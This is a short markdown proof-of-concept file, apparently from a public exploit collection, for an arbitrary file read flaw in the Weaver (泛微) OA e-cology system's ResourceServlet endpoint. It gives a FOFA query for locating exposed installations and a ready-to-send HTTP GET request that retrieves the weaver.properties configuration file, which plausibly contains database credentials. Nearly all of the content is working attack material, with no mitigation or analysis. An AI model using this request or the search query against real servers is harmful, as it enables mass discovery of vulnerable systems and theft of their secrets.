wy876_POC/泛微OA/泛微-OA系统ResourceServlet接口任意文件读取漏洞.md
2024-08-21 15:08:43 +08:00

12 lines
233 B
Markdown

## 泛微-OA系统ResourceServlet接口任意文件读取漏洞
## fofa
```
app="泛微-OA(e-cology)"
```
## poc
```
GET /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties HTTP/1.1
```